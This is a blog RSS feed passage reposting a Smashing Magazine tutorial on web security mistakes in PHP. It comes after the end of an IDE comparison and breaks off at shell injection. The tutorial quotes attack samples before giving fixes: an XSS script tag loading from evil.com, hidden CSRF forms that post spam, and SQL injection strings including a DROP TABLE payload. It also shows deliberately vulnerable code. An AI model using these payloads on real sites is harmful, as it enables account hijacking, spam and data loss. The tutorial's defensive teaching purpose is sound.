<p>We thought it would be interesting to allow our readers to edit the  table, which is hosted on Google Docs. Feel free to add your favorite  IDE if it’s not there, or note some features on the ones that are.</p>
<p>&nbsp;</p>
<p><a href="http://roobon.net/wp-content/uploads/2011/06/net.gif"><img class="alignnone size-full wp-image-115" title="net" src="http://roobon.net/wp-content/uploads/2011/06/net.gif" alt="" width="541" height="457" /></a></p>
<p>&nbsp;</p>
<p><a href="http://spreadsheets.google.com/ccc?key=pV8XyUSUOM7ET07rn4n7NYA">The full table at Google Docs</a> (<a href="http://spreadsheets1.google.com/ccc?key=pV8XyUSUOM7GsmVMLVit0Hw">not editable snapshot</a>)</p>
<p><em>* Codelobster and Nusphere PhpED were filled in by Russian community members.</em></p>
<h3>Conclusion</h3>
<p>Still not using IDE? You may be wasting time. Try it. You’ll see the difference.</p>
<p>Both PDT and NetBeans are good. If you need a lot of plug-ins,  Eclipse is the better choice. If editing tools and code completion are  more important to you, then pick NetBeans. NetBeans is a bit more  responsive, too.</p>
<p>If you are mostly editing HTML and CSS, try Notepad++, vim, TextMate  or Emacs. They all have very good HTML editing capabilities and can be  configured for simple code completion. And they are faster and  lighter  than fully featured IDEs.</p>
<p>If you are editing complex JavaScript, try Aptana, which is amazing for JavaScript, or the <a href="http://spket.com/">Spket plug-in</a> for Eclipse, which has nearly the same features.</p>
<p>And remember, IDEs are not meant to change the way you think. They simply speed up the development process.</p>
<p>&nbsp;</p>
<h4>Commercial vs. Freeware</h4>
<p>Strange as it may sound, commercial PHP IDEs such as Zend Studio and  Aptana Studio Pro do not have significantly more advantages than free  alternatives such as PDT2.0 and NetBeans, both of which are very good.</p>
<p>With Aptana Studio Pro, you get a good IE JavaScript debugger, SFTP, FTPS and some other less-than-useful features for $99.</p>
<p>Like NetBeans, Zend Studio offers a bit more code completion and  error detection than PDT. It also has a very good customizable code  formatter, refactoring capabilities (which NetBeans also has) and some  wizards for the Zend Framework. It starts at $399.</p>
<p>&nbsp;</p>
<h3>Resources</h3>
<ul>
<li><a href="http://www.eclipse.org/pdt/">PDT Project</a><br />
Official Eclipse PHP Development Tools website.</li>
<li><a href="http://www.zend.com/en/products/studio/">Zend Studio</a><br />
Official Zend Studio website.</li>
<li><a href="http://www.netbeans.org/">NetBeans</a><br />
Official NetBeans website.</li>
<li><a href="http://blogs.sun.com/netbeansphp/">NetBeans for PHP weblog</a><br />
Here you can learn about new features to be included in upcoming releases and discuss them as they are being developed.</li>
<li><a href="http://www.aptana.com/">Aptana</a><br />
Official Aptana website.</li>
</ul>
<p>&nbsp;</p>
<p><a href="http://coding.smashingmagazine.com/2009/02/11/the-big-php-ides-test-why-use-oneand-which-to-choose/">Original source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://roobon.net/2011/06/05/smashing-magazine-the-big-php-ide-test-why-use-one-and-which-to-choose/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Common Security Mistakes in Web Applications</title>
		<link>http://roobon.net/2011/06/01/common-security-mistakes-in-web-applications/</link>
		<comments>http://roobon.net/2011/06/01/common-security-mistakes-in-web-applications/#comments</comments>
		<pubDate>Wed, 01 Jun 2011 11:48:43 +0000</pubDate>
		<dc:creator>roobon</dc:creator>
				<category><![CDATA[PHP Security]]></category>

		<guid isPermaLink="false">http://roobon.net/?p=88</guid>
		<description><![CDATA[More article on PHP Security found in smashingmagazaine Web application developers today need to be skilled in a multitude of disciplines. It’s necessary to build an application that is user friendly, highly performant, accessible and secure, all while executing partially in an untrusted environment that you, the developer, have no control over. I speak, of [...]]]></description>
			<content:encoded><![CDATA[<p>More article on PHP Security found in <a href="http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/">smashingmagazaine</a></p>
<p>Web application developers today need to be skilled in a multitude of  disciplines.  It’s necessary to build an application that is user  friendly, highly performant, accessible and secure, all while executing  partially in an untrusted environment that you, the developer, have no  control over.  I speak, of course, about the User Agent.  Most commonly  seen in the form of a web browser, but in reality, one never really  knows what’s on the other end of the HTTP connection.</p>
<p>There are many things to worry about when it comes to <strong>security on the Web</strong>.  Is your site protected against denial of service attacks?  Is your user  data safe?  Can your users be tricked into doing things they would not  normally do?  Is it possible for an attacker to pollute your database  with fake data?  Is it possible for an attacker to gain unauthorized  access to restricted parts of your site?  Unfortunately, unless we’re  careful with the code we write, the answer to these questions can often  be one we’d rather not hear.</p>
<p>We’ll skip over denial of service attacks in this article, but take a  close look at the other issues.  To be more conformant with standard  terminology, we’ll talk about Cross-Site Scripting (XSS), Cross-Site  Request Forgery (CSRF), Phishing, Shell injection and SQL injection.   We’ll also assume <strong>PHP</strong> as the language of development,  but the problems apply regardless of language, and solutions will be  similar in other languages.</p>
<h3>1. Cross-site scripting (XSS)</h3>
<p>Cross-site scripting is an attack in which a user is tricked into  executing code from an attacker’s site (say evil.com) in the context of  our website (let’s call it www.mybiz.com).  This is a problem regardless  of what our website does, but the severity of the problem changes  depending on what our users can do on the site.  Let’s look at an  example.</p>
<p>Let’s say that our site allows the user to post cute little messages  for the world (or maybe only their friends) to see.  We’d have code that  looks something like this:</p>
<div id="highlighter_758741">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>1</code></td>
<td><code>&lt;?php</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>2</code></td>
<td><code> </code><code>echo</code> <code>"$user said $message"</code><code>;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>3</code></td>
<td><code>?&gt;</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>To read the message in from the user, we’d have code like this:</p>
<div id="highlighter_469733">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>1</code></td>
<td><code>&lt;?php</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>2</code></td>
<td><code> </code><code>$user</code> <code>= </code><code>$_COOKIE</code><code>[</code><code>'user'</code><code>];</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>3</code></td>
<td><code> </code><code>$message</code> <code>= </code><code>$_REQUEST</code><code>[</code><code>'message'</code><code>];</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>4</code></td>
<td><code> </code><code>if</code><code>(</code><code>$message</code><code>) {</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>5</code></td>
<td><code> </code><code>save_message(</code><code>$user</code><code>, </code><code>$message</code><code>);</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>6</code></td>
<td><code> </code><code>}</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>7</code></td>
<td><code>?&gt;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>8</code></td>
<td><code>&lt;input type=</code><code>"text"</code> <code>name=</code><code>"message"</code> <code>value=</code><code>"&lt;?php echo $message ?&gt;"</code><code>&gt;</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>This works only as long as the user sticks to messages in plain text,  or perhaps a few safe HTML tags like &lt;strong&gt; or &lt;em&gt;.   We’re essentially trusting the user to only enter safe text.  An  attacker, though, may enter something like this:</p>
<div id="highlighter_228677">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>1</code></td>
<td><code>Hi there...&lt;script src=</code><code>"h++<a href="p://evil.com/bad-script.js">p://evil.com/bad-script.js</a>"</code><code>&gt;&lt;/script&gt;</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>(Note that I’ve changed http to h++p to prevent auto-linking of the URL).</p>
<p>When a user views this message on their own page, they load <code>bad-script.js</code> into their page, and that script could do anything it wanted, for example, it could steal the contents of <code>document.cookie</code>,  and then use that to impersonate the user and possibly send spam from  their account, or more subtly, change the contents of the HTML page to  do nasty things, possibly installing malware onto the reader’s computer.   Remember that <code>bad-script.js</code> now executes in the context of www.mybiz.com.</p>
<p>This happens because we’ve trusted the user more than we should.  If,  instead, we only allow the user to enter contents that are safe to  display on the page, we prevent this form of attack.  We accomplish this  using PHP’s <a href="http://www.php.net/manual/en/intro.filter.php">input_filter extension</a>.</p>
<p>We can change our PHP code to the following:</p>
<div id="highlighter_438373">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>01</code></td>
<td><code>&lt;?php</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>02</code></td>
<td><code> </code><code>$user</code> <code>= filter_input(INPUT_COOKIE, </code><code>'user'</code><code>,</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>03</code></td>
<td><code> </code><code>FILTER_SANITIZE_SPECIAL_CHARS);</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>04</code></td>
<td><code> </code><code>$message</code> <code>= filter_input(INPUT_POST | INPUT_GET, </code><code>'message'</code><code>,</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>05</code></td>
<td><code> </code><code>FILTER_SANITIZE_SPECIAL_CHARS);</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>06</code></td>
<td><code> </code><code>if</code><code>(</code><code>$message</code><code>) {</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>07</code></td>
<td><code> </code><code>save_message(</code><code>$user</code><code>, </code><code>$message</code><code>);</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>08</code></td>
<td><code> </code><code>}</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>09</code></td>
<td><code>?&gt;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>10</code></td>
<td><code>&lt;input type=</code><code>"text"</code> <code>name=</code><code>"message"</code> <code>value=</code><code>"&lt;?php echo $message ?&gt;"</code><code>&gt;</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>Notice that we run the filter on the input and not just before  output.  We do this to protect against the situation where a new use  case may arise in the future, or a new programmer comes in to the  project, and forgets to <strong>sanitize data</strong> before printing  it out.  By filtering at the input layer, we ensure that we never store  unsafe data.  The side-effect of this is that if you have data that  needs to be displayed in a non-web context (e.g. a mobile text  message/pager message), then it may be unsuitably encoded.  You may need  further processing of the data before sending it to that context.</p>
<p>Now chances are that almost everything you get from the user is going  to be written back to the browser at some point, so it may be best to  just set the default filter to <code>FILTER_SANITIZE_SPECIAL_CHARS</code> by changing <code>filter.default</code> in your <code>php.ini</code> file.</p>
<p>PHP has many different input filters, and it’s important to use the  one most relevant to your data.  Very often an XSS creeps in because we  use <code>FILTER_SANITIZE_SPECIAL_CHARS</code> when we should have used <code>FILTER_SANITIZE_ENCODED</code> or <code>FILTER_SANITIZE_URL</code> or vice-versa. You should also carefully review any code that uses something like <a href="http://www.php.net/html_entity_decode"><code>html_entity_decode</code></a>, because this could potentially open your code up for attack by undoing the encoding added by the input filter.</p>
<p>If a site is open to XSS attacks, then its users’ data is not safe.</p>
<h3>2. Cross-site request forgery (CSRF)</h3>
<p>A CSRF (sometimes abbreviated as XSRF) is an attack where a malicious  site tricks our  visitors into carrying out an action on our site.   This can happen if a user logs in to a site that they use a lot (e.g.  e-mail, Facebook, etc.), and then visits a malicious site without first  logging out.  If the original site is susceptible to a CSRF attack, then  the malicious site can do evil things on the user’s behalf.  Let’s take  the same example as above.</p>
<p>Since our application reads in input either from POST data or from  the query string, an attacker could trick our user into posting a  message by including code like this on their website:</p>
<div id="highlighter_748019">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>1</code></td>
<td><code>&lt;</code><code>img</code> <code>src</code><code>=</code><code>"h++<a href="p://www.mybiz.com/post_message?message=Cheap">p://www.mybiz.com/post_message?message=Cheap</a>+medicine+at+h++<a href="p://evil.com/">p://evil.com/</a>"</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>2</code></td>
<td><code> </code><code>style</code><code>=</code><code>"position:absolute;left:-999em;"</code><code>&gt;</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>Now all the attacker needs to do, is get users of mybiz.com to visit  their site.  This is fairly easily accomplished by, for example, hosting  a game, or pictures of cute baby animals.  When the user visits the  attacker’s site, their browser sends a GET request to <em>www.mybiz.com/post_message</em>.  Since the user is still logged in to www.mybiz.com, the browser sends  along the user’s cookies, thereby posting an advertisement for <em>cheap medicine</em> to all the user’s friends.</p>
<p>Simply changing our code to only accept submissions via POST doesn’t  fix the problem.  The attacker can change the code to something like  this:</p>
<div id="highlighter_354527">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>1</code></td>
<td><code>&lt;</code><code>iframe</code> <code>name</code><code>=</code><code>"pharma"</code> <code>style</code><code>=</code><code>"display:none;"</code><code>&gt;&lt;/</code><code>iframe</code><code>&gt;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>2</code></td>
<td><code>&lt;</code><code>form</code> <code>id</code><code>=</code><code>"pform"</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>3</code></td>
<td><code> </code><code>action</code><code>=</code><code>"h++<a href="p://www.mybiz.com/post_message">p://www.mybiz.com/post_message</a>"</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>4</code></td>
<td><code> </code><code>method</code><code>=</code><code>"POST"</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>5</code></td>
<td><code> </code><code>target</code><code>=</code><code>"pharma"</code><code>&gt;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>6</code></td>
<td><code>&lt;</code><code>input</code> <code>type</code><code>=</code><code>"hidden"</code> <code>name</code><code>=</code><code>"message"</code> <code>value</code><code>=</code><code>"Cheap medicine at ..."</code><code>&gt;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>7</code></td>
<td><code>&lt;/</code><code>form</code><code>&gt;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>8</code></td>
<td><code>&lt;</code><code>script</code><code>&gt;document.getElementById('pform').submit();&lt;/</code><code>script</code><code>&gt;</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>Which will POST the form back to www.mybiz.com.</p>
<p>The correct way to to protect against a CSRF is to use a single use  token tied to the user.  This token can only be issued to a signed in  user, and is based on the user’s account, a secret salt and possibly a  timestamp.  When the user submits the form, this <strong>token needs to be validated</strong>.   This ensures that the request originated from a page that we control.   This token only needs to be issued when a form submission can do  something on behalf of the user, so there’s no need to use it for  publicly accessible read-only data.  The token is sometimes referred to  as a <em>nonce</em>.</p>
<p>There are several different ways to generate a nonce.  For example, have a look at the <a href="http://core.trac.wordpress.org/browser/trunk/wp-includes/pluggable.php#L1268"><code>wp_create_nonce</code></a>, <a href="http://core.trac.wordpress.org/browser/trunk/wp-includes/pluggable.php#L1238"><code>wp_verify_nonce</code></a> and <a href="http://core.trac.wordpress.org/browser/trunk/wp-includes/pluggable.php#L1287"><code>wp_salt</code></a> functions in the <a href="http://core.trac.wordpress.org/browser/trunk/">WordPress source code</a>.  A simple nonce may be generated like this:</p>
<div id="highlighter_288526">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>1</code></td>
<td><code>&lt;?php</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>2</code></td>
<td><code>function</code> <code>get_nonce() {</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>3</code></td>
<td><code> </code><code>return</code> <code>md5(</code><code>$salt</code> <code>. </code><code>":"</code> <code>. </code><code>$user</code> <code>. </code><code>":"</code> <code>. </code><code>ceil</code><code>(time()/86400));</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>4</code></td>
<td><code>}</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>5</code></td>
<td><code>?&gt;</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>The timestamp we use is the current time to an accuracy of 1 day  (86400 seconds), so it’s valid as long as the action is executed within a  day of requesting the page.  We could reduce that value for more  sensitive actions (like password changes or account deletion).  It  doesn’t make sense to have this value larger than the session timeout  time.</p>
<p>An alternate method might be to generate the nonce without the  timestamp, but store it as a session variable or in a server side  database along with the time when the nonce was generated.  That makes  it harder for an attacker to generate the nonce by guessing the time  when it was generated.</p>
<div id="highlighter_123210">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>1</code></td>
<td><code>&lt;?php</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>2</code></td>
<td><code>function</code> <code>get_nonce() {</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>3</code></td>
<td><code> </code><code>$nonce</code> <code>= md5(</code><code>$salt</code> <code>. </code><code>":"</code> <code>. </code><code>$user</code><code>);</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>4</code></td>
<td><code> </code><code>$_SESSION</code><code>[</code><code>'nonce'</code><code>] = </code><code>$nonce</code><code>;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>5</code></td>
<td><code> </code><code>$_SESSION</code><code>[</code><code>'nonce_time'</code><code>] = time();</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>6</code></td>
<td><code> </code><code>return</code> <code>$nonce</code><code>;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>7</code></td>
<td><code>}</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>8</code></td>
<td><code>?&gt;</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>We use this nonce in the input form, and when the form is submitted,  we regenerate the nonce or read it out of the session variable and  compare it with the submitted value.  If the two match, then we allow  the action to go through.  If the nonce has timed out since it was  generated, then we reject the request.</p>
<div id="highlighter_886445">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>1</code></td>
<td><code>&lt;?php</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>2</code></td>
<td><code> </code><code>if</code><code>(!verify_nonce(</code><code>$_POST</code><code>[</code><code>'nonce'</code><code>])) {</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>3</code></td>
<td><code> </code><code>header(</code><code>"HTTP/1.1 403 Forbidden"</code><code>, true, 403);</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>4</code></td>
<td><code> </code><code>exit</code><code>();</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>5</code></td>
<td><code> </code><code>}</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>6</code></td>
<td><code> </code><code>// proceed normally</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>7</code></td>
<td><code>?&gt;</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>This protects us from the CSRF attack since the attacker’s website cannot generate our nonce.</p>
<p>If you don’t use a nonce, your user can be tricked into doing things  they would not normally do. Note that even if you do use a nonce, you  may still be susceptible to a click-jacking attack.</p>
<h3>3. Click-jacking</h3>
<p>While not on the <a href="http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">OWASP top ten list for 2010</a>,  click-jacking has gained recent fame due to attacks against Twitter and  Facebook, both of which spread very quickly due to the social nature of  these platforms.</p>
<p>Now since we use a nonce, we’re protected against CSRF attacks,  however, if the user is tricked into clicking the submit link  themselves, then the nonce won’t protect us.  In this kind of attack,  the attacker includes our website in an iframe on their own website.   The attacker doesn’t have control over our page, but they do control the  <code>iframe</code> element.  They use CSS to set the iframe’s opacity  to 0, and then use JavaScript to move it around such that the submit  button is always under the user’s mouse.  This was the technique used on  the <a href="http://erickerr.com/like-clickjacking">Facebook Like button click-jack attack</a>.</p>
<p>Frame busting appears to be the most obvious way to protect against this, however it isn’t fool proof.  For example, adding the <code>security="restricted"</code> attribute to an iframe will stop any frame busting code from working in Internet Explorer, and there are <a href="http://coderrr.wordpress.com/2009/02/13/preventing-frame-busting-and-click-jacking-ui-redressing/">ways</a> to prevent frame busting in Firefox as well.</p>
<p>A better way might be to make your submit button disabled by default  and then use JavaScript to enable it once you’ve determined that it’s  safe to do so.  In our example above, we’d have code like this:</p>
<div id="highlighter_731653">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>1</code></td>
<td><code>&lt;</code><code>input</code> <code>type</code><code>=</code><code>"text"</code> <code>name</code><code>=</code><code>"message"</code> <code>value="&lt;?php echo $message ?&gt;"&gt;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>2</code></td>
<td><code>&lt;</code><code>input</code> <code>id</code><code>=</code><code>"msg_btn"</code> <code>type</code><code>=</code><code>"submit"</code> <code>disabled</code><code>=</code><code>"true"</code><code>&gt;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>3</code></td>
<td><code>&lt;</code><code>script</code> <code>type</code><code>=</code><code>"text/javascript"</code><code>&gt;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>4</code></td>
<td><code>if(top == self) {</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>5</code></td>
<td><code> </code><code>document.getElementById("msg_btn").disabled=false;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>6</code></td>
<td><code>}</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>7</code></td>
<td><code>&lt;/</code><code>script</code><code>&gt;</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>This way we ensure that the submit button cannot be clicked on unless  our page runs in a top level window.  Unfortunately, this also means  that users with JavaScript disabled will also be unable to click the  submit button.</p>
<h3>4. SQL injection</h3>
<p>In this kind of an attack, the attacker exploits insufficient input  validation to gain shell access on your database server.  XKCD has a  humorous take on SQL injection:</p>
<p><a href="http://xkcd.com/327/"><img src="http://media.smashingmagazine.com/wp-content/uploads/2010/10/sql.png" border="0" alt="Sql in Common Security Mistakes in Web Applications" width="550" height="169" /></a><br />
<em><a href="http://xkcd.com/327/">Full image</a> (from xkcd)</em></p>
<p>Let’s go back to the example we have above.  In particular, let’s look at the <code>save_message()</code> function.</p>
<div id="highlighter_143387">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>01</code></td>
<td><code>&lt;?php</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>02</code></td>
<td><code>function</code> <code>save_message(</code><code>$user</code><code>, </code><code>$message</code><code>)</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>03</code></td>
<td><code>{</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>04</code></td>
<td><code> </code><code>$sql</code> <code>= "INSERT INTO Messages (</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>05</code></td>
<td><code> </code><code>user, message</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>06</code></td>
<td><code> </code><code>) VALUES (</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>07</code></td>
<td><code> </code><code>'$user'</code><code>, </code><code>'$message'</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>08</code></td>
<td><code> </code><code>)";</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>09</code></td>
<td></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>10</code></td>
<td><code> </code><code>return</code> <code>mysql_query(</code><code>$sql</code><code>);</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>11</code></td>
<td><code>}</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>12</code></td>
<td><code>?&gt;</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>The function is oversimplified here, but it exemplifies the problem.  The attacker could enter something like</p>
<div id="highlighter_907457">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>1</code></td>
<td><code>test');DROP TABLE Messages;--</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>When this gets passed to the database, it could end up dropping the <code>Messages</code> table, causing you and your users a lot of grief.  This kind of an  attack calls attention to the attacker, but little else.  It’s far more  likely for an attacker to use this kind of attack to insert spammy data  on behalf of other users.  Consider this message instead:</p>
<div id="highlighter_939851">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>1</code></td>
<td><code>test</code><code>'), ('</code><code>user2</code><code>', '</code><code>Cheap medicine at ...</code><code>'), ('</code><code>user3</code><code>', '</code><code>Cheap medicine at ...</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>Here the attacker has successfully managed to insert spammy messages into the comment streams from <code>user2</code> and <code>user3</code> without needing access to their accounts.  The attacker could also use  this to download your entire user table that possibly includes  usernames, passwords and email addresses.</p>
<p>Fortunately, we can use prepared statements to get around this problem.  In PHP, the <a href="http://www.php.net/manual/en/class.pdo.php">PDO abstraction layer</a> makes it easy to use prepared statements even if your database itself  doesn’t support them.  We could change our code to use PDO.</p>
<div id="highlighter_212228">
<div>
<div>
<table>
<tbody>
<tr>
<td><code>01</code></td>
<td><code>&lt;?php</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>02</code></td>
<td><code>function</code> <code>save_message(</code><code>$user</code><code>, </code><code>$message</code><code>)</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>03</code></td>
<td><code>{</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>04</code></td>
<td><code> </code><code>// $dbh is a global database handle</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>05</code></td>
<td><code> </code><code>global</code> <code>$dbh</code><code>;</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>06</code></td>
<td></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>07</code></td>
<td><code> </code><code>$stmt</code> <code>= </code><code>$dbh</code><code>-&gt;prepare('</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>08</code></td>
<td><code> </code><code>INSERT INTO Messages (</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>09</code></td>
<td><code> </code><code>user, message</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>10</code></td>
<td><code> </code><code>) VALUES (</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>11</code></td>
<td><code> </code><code>?, ?</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>12</code></td>
<td><code> </code><code>)');</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>13</code></td>
<td><code> </code><code>return</code> <code>$stmt</code><code>-&gt;execute(</code><code>array</code><code>(</code><code>$user</code><code>, </code><code>$message</code><code>));</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>14</code></td>
<td><code>}</code></td>
</tr>
</tbody>
</table>
</div>
<div>
<table>
<tbody>
<tr>
<td><code>15</code></td>
<td><code>?&gt;</code></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<p>This protects us from SQL injection by correctly making sure that everything in <code>$user</code> goes into the <code>user</code> field and everything in <code>$message</code> goes into the <code>message</code> field even if it contains database meta characters.</p>
<p>There are cases where it’s hard to use prepared statements.  For example, if you have a list of values in an <code>IN</code> clause.  However, since our SQL statements are always generated by  code, it is possible to first determine how many items need to go into  the <code>IN</code> clause, and add as many <code>?</code> placeholders instead.</p>
<h3>5. Shell injection</h3>
<p>Similar to SQL injection, the attacker tries to craft an input string  to gain shell access to your web server.  Once they have shell access,  they could potentially do a lot more.  Depending on access privileges,  they could add JavaScript to your HTML pages, or gain access to other  internal systems on your network.</p>
<p>Shell injection can take place whenever you pass untreated user input to the shell, for example by using the <a href="http://www.php.net/manual/en/function.system.php"><code>system()</code></a>, <a href="http://www.php.net/manual/en/function.exec.php"><code>exec()</code></a> or <a href="http://www.php.net/manual/en/language.operators.execution.php"><code>``</code></a> commands.  There may be more functions depending on the language you use when building your web app.</p>
